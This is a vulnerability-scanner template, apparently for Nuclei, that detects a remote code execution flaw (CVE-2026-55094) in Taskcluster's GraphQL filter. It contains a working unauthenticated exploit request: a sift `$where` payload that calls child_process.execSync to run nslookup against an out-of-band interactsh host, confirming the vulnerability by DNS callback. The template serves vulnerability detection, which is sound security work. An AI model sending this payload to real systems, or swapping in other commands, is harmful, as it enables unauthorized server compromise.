id: CVE-2026-55094

info:
  name: "Taskcluster - GraphQL sift Filter Remote Code Execution"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    Taskcluster web-server before 100.3.0 exposes a GraphQL `filter: JSON` argument that is passed directly
    to the sift library. sift's `$where` operator compiles its string value with `new Function(...)`, so on a
    deployment whose anonymous role can reach the GraphQL endpoint an unauthenticated attacker can execute
    arbitrary JavaScript, and therefore OS commands, on the server. This template proves code execution
    out-of-band by making the server resolve a unique interactsh hostname.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-55094&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=taskcluster&match=exact
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
    cvss-score: 8.7
    cve-id: CVE-2026-55094
    cwe-id: CWE-94
  metadata:
    verified: false
    max-request: 1
  tags: cve,cve2026,taskcluster,graphql,sift,rce,oast,intrusive

http:
  - raw:
      - |
        POST /graphql HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"query":"query VedasQ($f: JSON){ clients(filter: $f){ edges { node { clientId } } } }","variables":{"f":{"$where":"global.process.mainModule.require('child_process').execSync('nslookup {{interactsh-url}}')"}}}
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"